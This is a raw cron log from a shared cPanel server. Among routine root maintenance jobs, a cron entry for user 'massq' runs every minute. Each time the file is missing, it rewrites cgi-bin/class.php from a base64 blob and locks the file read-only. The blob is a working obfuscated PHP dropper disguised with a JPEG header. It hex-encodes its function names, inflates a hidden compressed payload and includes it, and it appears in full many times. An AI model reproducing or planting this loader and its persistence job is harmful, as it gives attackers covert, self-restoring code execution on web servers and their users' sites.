Sep  7 00:22:01 server CROND[21708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:22:01 server CROND[21709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:23:01 server CROND[22174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:23:01 server CROND[22175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:23:01 server CROND[22176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:24:01 server CROND[22550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:24:01 server CROND[22551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:24:01 server CROND[22549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:25:01 server CROND[23107]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 00:25:01 server CROND[23109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:25:01 server CROND[23114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:25:01 server CROND[23117]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 00:25:01 server CROND[23118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:25:01 server CROND[23112]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:25:01 server CROND[23113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:25:01 server CROND[23116]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 00:26:01 server CROND[23947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:26:01 server CROND[23948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:26:01 server CROND[23950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:27:01 server CROND[24321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:27:01 server CROND[24322]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 00:27:01 server CROND[24323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:27:01 server CROND[24325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:28:01 server CROND[24792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:28:01 server CROND[24793]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:28:01 server CROND[24794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:29:01 server CROND[25166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:29:01 server CROND[25167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:29:01 server CROND[25168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:30:01 server CROND[25545]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 00:30:01 server CROND[25553]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:30:01 server CROND[25554]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  7 00:30:01 server CROND[25559]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 00:30:01 server CROND[25560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:30:01 server CROND[25555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:30:01 server CROND[25558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:30:01 server CROND[25556]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 00:30:01 server CROND[25557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:31:01 server CROND[26378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:31:01 server CROND[26379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:31:01 server CROND[26380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:32:01 server CROND[26762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:32:01 server CROND[26763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:32:01 server CROND[26764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:33:01 server CROND[27237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:33:01 server CROND[27239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:33:01 server CROND[27240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
